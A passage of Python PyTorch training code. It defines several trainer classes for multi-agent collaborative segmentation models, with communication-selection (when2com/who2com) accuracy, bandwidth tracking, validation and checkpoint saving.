# model inference outputs, log_action, action_argmax = self.model(images, training=True) # compute loss loss = self.loss_fn(input=outputs, target=labels) # compute the gradient for each variable loss.backward() # update the weight self.optimizer.step() # compute the used time time_meter.update(time.time() - start_ts) # Process display on screen if (i + 1) % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i + 1, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i + 1) time_meter.reset() # Validation (During training) if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): total = 0 correct_when = 0 correct_who = 0 for i_val, data_list in tqdm(enumerate(self.valloader)): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list else: images_val_list, labels_val_list = data_list labels_val = labels_val_list[0] images_val = torch.cat(tuple(images_val_list), dim=1) labels_val = labels_val.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) images_val = images_val.to(self.device) gt = labels_val.data.cpu().numpy() # image loss outputs, _, action_argmax = self.model(images_val, training=True) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() action_argmax = torch.squeeze(action_argmax) # compute action accuracy if self.if_commun_label != 'None': self.running_metrics_val.update_div(self.if_commun_label, gt, pred, commun_label) self.running_metrics_val.update_selection(self.if_commun_label, commun_label, action_argmax + 1) # plus one since target is not included in "alwaysCom" model self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) if self.if_commun_label != 'None': when2com_acc, who2com_acc = self.running_metrics_val.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) self.writer.add_scalar("val_metrics/when_com_accuacy", when2com_acc, i) self.writer.add_scalar("val_metrics/who_com_accuracy", who2com_acc, i) else: when2com_acc = 0 who2com_acc = 0 # for tensorboard self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) scorers = [self.running_metrics_val] for idx, scorer in enumerate(scorers): score, class_iou = scorer.get_scores() for k, v in score.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("head_{}_val_metrics/{}".format(idx, k), v, i) for k, v in class_iou.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("head_{}_val_metrics/cls_{}".format(idx, k), v, i) # print print('Normal') score, class_iou = self.running_metrics_val.get_only_normal_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = self.running_metrics_val.get_only_noise_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = self.running_metrics_val.get_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) val_loss_meter.reset() self.running_metrics_val.reset() if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader, inference_mode='argmax_test'): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multi-view output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) # MODEL INFERENCE outputs, action, action_argmax = self.model(images, training=False, inference=inference_mode) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) running_metrics.update_selection(self.if_commun_label, commun_label, action_argmax+1) if self.if_commun_label: when2com_acc, who2com_acc = running_metrics.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) else: when2com_acc = 0 who2com_acc = 0 print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_MIMOcom(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.n_classes = 11 self.loss_fn = loss_fn self.running_metrics_val = runningScore(self.n_classes) self.device = device self.MO_flag = self.cfg['model']['multiple_output'] # some datasets have no labels for communication if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): # load model print('LearnMIMOCom_Trainer') start_iter = 0 if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(self.cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True # training while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: i += 1 start_ts = time.time() if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list images = torch.cat(tuple(images_list), dim=1) if self.MO_flag: # multiple output labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] self.scheduler.step() self.model.train() # matters for batchnorm/dropout images = images.to(self.device) labels = labels.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) # image loss self.optimizer.zero_grad() outputs, log_action, action_argmax, _ = self.model(images, training=True, MO_flag=self.MO_flag) loss = self.loss_fn(input=outputs, target=labels) loss.backward() self.optimizer.step() time_meter.update(time.time() - start_ts) # Process display on screen if (i + 1) % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i + 1, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i + 1) time_meter.reset() ### Validation if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): for i_val, data_list in tqdm(enumerate(self.valloader)): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_val_list, labels_val_list = data_list images_val = torch.cat(tuple(images_val_list), dim=1) if self.MO_flag: # obtain multiple ground-truth labels_val = torch.cat(tuple(labels_val_list), dim=0) else: # only select one view gt mask labels_val = labels_val_list[0] labels_val = labels_val.to(self.device) images_val = images_val.to(self.device) gt = labels_val.data.cpu().numpy() # image loss outputs, _, action_argmax, _ = self.model(images_val, training=True, MO_flag=self.MO_flag) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() # compute action accuracy if self.if_commun_label != 'None': self.running_metrics_val.update_div(self.if_commun_label, gt, pred, commun_label) self.running_metrics_val.update_selection(self.if_commun_label, commun_label, action_argmax) self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) if self.if_commun_label != 'None': when2com_acc, who2com_acc = self.running_metrics_val.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) self.writer.add_scalar("val_metrics/when_com_accuacy", when2com_acc, i) self.writer.add_scalar("val_metrics/who_com_accuracy", who2com_acc, i) self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) print('Normal') score, class_iou = self.running_metrics_val.get_only_normal_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = self.running_metrics_val.get_only_noise_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = self.running_metrics_val.get_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) val_loss_meter.reset() self.running_metrics_val.reset() # store the best model if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader,inference_mode='activated'): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multiple output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) outputs, _, action_argmax, bandW = self.model(images, training=False, MO_flag=self.MO_flag, inference=inference_mode) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) running_metrics.update_bandW(bandW) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) running_metrics.update_selection(self.if_commun_label, commun_label, action_argmax) if self.if_commun_label: when2com_acc, who2com_acc = running_metrics.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) else: when2com_acc = 0 who2com_acc = 0 avg_bandW = running_metrics.get_avg_bandW() print('Bandwidth: ' + str(avg_bandW)) print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_MIMOcomWho(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.n_classes = 11 self.loss_fn = loss_fn self.running_metrics_val = runningScore(self.n_classes) self.device = device self.MO_flag = self.cfg['model']['multiple_output'] # some datasets have no labels for communication if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): # load model print('LearnMIMOComWho_Trainer') start_iter = 0 if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(self.cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True # training while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: i += 1 start_ts = time.time() if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list images = torch.cat(tuple(images_list), dim=1) if self.MO_flag: # multiple output labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] self.scheduler.step() self.model.train() # matters for batchnorm/dropout images = images.to(self.device) labels = labels.to(self.device) if self.if_commun_label != 'None': commun_label = commun_label.to(self.device) # image loss self.optimizer.zero_grad() outputs, log_action, action_argmax, _ = self.model(images, training=True, MO_flag=self.MO_flag) loss = self.loss_fn(input=outputs, target=labels) loss.backward() self.optimizer.step() time_meter.update(time.time() - start_ts) # Process display on screen if (i + 1) % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i + 1, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i + 1) time_meter.reset() ### Validation if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): for i_val, data_list in tqdm(enumerate(self.valloader)): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_val_list, labels_val_list = data_list images_val = torch.cat(tuple(images_val_list), dim=1) if self.MO_flag: # obtain multiple ground-truth labels_val = torch.cat(tuple(labels_val_list), dim=0) else: # only select one view gt mask labels_val = labels_val_list[0] labels_val = labels_val.to(self.device) images_val = images_val.to(self.device) gt = labels_val.data.cpu().numpy() # image loss outputs, _, action_argmax, _ = self.model(images_val, training=True, MO_flag=self.MO_flag) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() # compute action accuracy if self.if_commun_label != 'None': self.running_metrics_val.update_div(self.if_commun_label, gt, pred, commun_label) self.running_metrics_val.update_selection(self.if_commun_label, commun_label, action_argmax) self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) if self.if_commun_label != 'None': when2com_acc, who2com_acc = self.running_metrics_val.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) self.writer.add_scalar("val_metrics/when_com_accuacy", when2com_acc, i) self.writer.add_scalar("val_metrics/who_com_accuracy", who2com_acc, i) self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) print('Normal') score, class_iou = self.running_metrics_val.get_only_normal_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = self.running_metrics_val.get_only_noise_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = self.running_metrics_val.get_scores() self.running_metrics_val.print_score(self.n_classes, score, class_iou) val_loss_meter.reset() self.running_metrics_val.reset() # store the best model if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader,inference_mode='activated'): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multiple output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) outputs, _, action_argmax, bandW = self.model(images, training=False, MO_flag=self.MO_flag, inference=inference_mode) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) running_metrics.update_bandW(bandW) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) running_metrics.update_selection(self.if_commun_label, commun_label, action_argmax) if self.if_commun_label: when2com_acc, who2com_acc = running_metrics.get_selection_accuracy() print('Validation when2com accuracy:{}'.format(when2com_acc)) print('Validation who2com accuracy:{}'.format(who2com_acc)) else: when2com_acc = 0 who2com_acc = 0 avg_bandW = running_metrics.get_avg_bandW() print('Bandwidth: ' + str(avg_bandW)) print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_MIMO_All_agents(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.n_classes = 11 self.loss_fn = loss_fn self.running_metrics_val = runningScore(self.n_classes) self.device = device self.MO_flag = self.cfg['model']['multiple_output'] if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): print('MIMO_All_Agent_Trainer') start_iter = 0 if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(self.cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list # only first image images = images_list[0] labels = labels_list[0] images_list[0] = images images = torch.cat(tuple(images_list), dim=1) if self.cfg['model']['multiple_output']: labels = torch.cat(tuple(labels_list), dim=0) i += 1 start_ts = time.time() self.scheduler.step() self.model.train() # matters for batchnorm/dropout images = images.to(self.device) labels = labels.to(self.device) self.optimizer.zero_grad() if self.cfg['model']['shuffle_features'] == 'selection': outputs, rand_action = self.model(images) else: outputs = self.model(images) loss = self.loss_fn(input=outputs, target=labels) loss.backward() self.optimizer.step() time_meter.update(time.time() - start_ts) # Process display on screen if i % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i) time_meter.reset() # Validation if (i) % self.cfg["training"]["val_interval"] == 0 or (i) == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): for i_val, (data_list) in tqdm(enumerate(self.valloader), ncols=20, desc='Validation'): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list else: images_val_list, labels_val_list = data_list images_val = torch.cat(tuple(images_val_list), dim=1) labels_val = labels_val_list[0] if self.cfg['model']['multiple_output']: # mimo single labels_val = torch.cat(tuple(labels_val_list), dim=0) images_val = images_val.to(self.device) labels_val = labels_val.to(self.device) if self.cfg['model']['shuffle_features'] == 'selection': outputs, rand_action = self.model(images_val) else: outputs = self.model(images_val) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels_val.data.cpu().numpy() self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) score, class_iou = self.running_metrics_val.get_scores() for k, v in score.items(): print(k, v) self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/{}".format(k), v, i) for k, v in class_iou.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/cls_{}".format(k), v, i) val_loss_meter.reset() self.running_metrics_val.reset() if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multi-view output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) # MODEL INFERENCE if self.cfg['model']['shuffle_features'] == 'selection': outputs, action_argmax = self.model(images) else: outputs = self.model(images) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_Single_agent(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.n_classes = 11 self.loss_fn = loss_fn self.running_metrics_val = runningScore(self.n_classes) self.device = device self.MO_flag = self.cfg['model']['multiple_output'] def train(self): print('Training') start_iter = 0 if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(self.cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: images_list, labels_list = data_list # only first image images = images_list[0] labels = labels_list[0] if self.cfg['model']['multiple_output']: # mimo single labels = torch.cat(tuple(labels_list), dim=0) images = torch.cat(tuple(images_list), dim=0) i += 1 start_ts = time.time() self.scheduler.step() self.model.train() # matters for batchnorm/dropout images = images.to(self.device) labels = labels.to(self.device) self.optimizer.zero_grad() outputs = self.model(images) loss = self.loss_fn(input=outputs, target=labels) loss.backward() self.optimizer.step() time_meter.update(time.time() - start_ts) # Process display on screen if i % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i, self.cfg["training"]["train_iters"], loss.item(), time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i) time_meter.reset() # Validation if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): for i_val, (images_val_list, labels_val_list) in tqdm(enumerate(self.valloader), ncols=20, desc='Validation'): images_val = images_val_list[0] labels_val = labels_val_list[0] if self.cfg['model']['multiple_output']: # mimo single labels_val = torch.cat(tuple(labels_val_list), dim=0) if self.cfg["model"]["arch"] == 'Single_agent': images_val = torch.cat(tuple(images_val_list), dim=0) images_val = images_val.to(self.device) labels_val = labels_val.to(self.device) outputs = self.model(images_val) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels_val.data.cpu().numpy() self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) score, class_iou = self.running_metrics_val.get_scores() for k, v in score.items(): print(k, v) self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/{}".format(k), v, i) for k, v in class_iou.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/cls_{}".format(k), v, i) val_loss_meter.reset() self.running_metrics_val.reset() if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader): # local evalutation metric running_metrics = runningScore(self.n_classes) # Setup Model for evaluaton model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=0) # multi-view output if self.cfg['model']['multiple_output']: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) outputs = self.model(images) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou class Trainer_All_agents(object): def __init__(self, cfg, writer, logger, model, loss_fn, trainloader, valloader, optimizer, scheduler, device): self.cfg = cfg self.writer = writer self.logger = logger self.model = model self.trainloader = trainloader self.valloader = valloader self.optimizer = optimizer self.scheduler = scheduler self.n_classes = 11 self.loss_fn = loss_fn self.running_metrics_val = runningScore(self.n_classes) self.device = device self.MO_flag = self.cfg['model']['multiple_output'] if 'commun_label' in self.cfg["data"]: self.if_commun_label = cfg["data"]['commun_label'] else: self.if_commun_label = 'None' def train(self): print('Training') start_iter = 0 if self.cfg["training"]["resume"] is not None: if os.path.isfile(self.cfg["training"]["resume"]): self.logger.info( "Loading model and optimizer from checkpoint '{}'".format(self.cfg["training"]["resume"]) ) checkpoint = torch.load(self.cfg["training"]["resume"]) self.model.load_state_dict(checkpoint["model_state"]) self.optimizer.load_state_dict(checkpoint["optimizer_state"]) self.scheduler.load_state_dict(checkpoint["scheduler_state"]) start_iter = checkpoint["epoch"] self.logger.info( "Loaded checkpoint '{}' (iter {})".format( self.cfg["training"]["resume"], checkpoint["epoch"] ) ) else: self.logger.info("No checkpoint found at '{}'".format(self.cfg["training"]["resume"])) val_loss_meter = averageMeter() time_meter = averageMeter() best_iou = -100.0 i = start_iter flag = True while i <= self.cfg["training"]["train_iters"] and flag: for data_list in self.trainloader: if self.if_commun_label != 'None': images_list, labels_list, commun_label = data_list else: images_list, labels_list = data_list images = torch.cat(tuple(images_list), dim=1) labels = labels_list[0] if self.cfg['model']['multiple_output']: # multiple output labels = torch.cat(tuple(labels_list), dim=0) i += 1 start_ts = time.time() self.scheduler.step() self.model.train() images = images.to(self.device) labels = labels.to(self.device) self.optimizer.zero_grad() if self.cfg['model']['shuffle_features'] == 'selection': # randcom outputs, rand_action = self.model(images) else: # catall outputs = self.model(images) loss = self.loss_fn(input=outputs, target=labels) loss.backward() self.optimizer.step() time_meter.update(time.time() - start_ts) # Process display on screen if i % self.cfg["training"]["print_interval"] == 0: fmt_str = "Iter [{:d}/{:d}] Loss: {:.4f} Time/Image: {:.4f}" print_str = fmt_str.format( i, self.cfg["training"]["train_iters"], loss.item(), 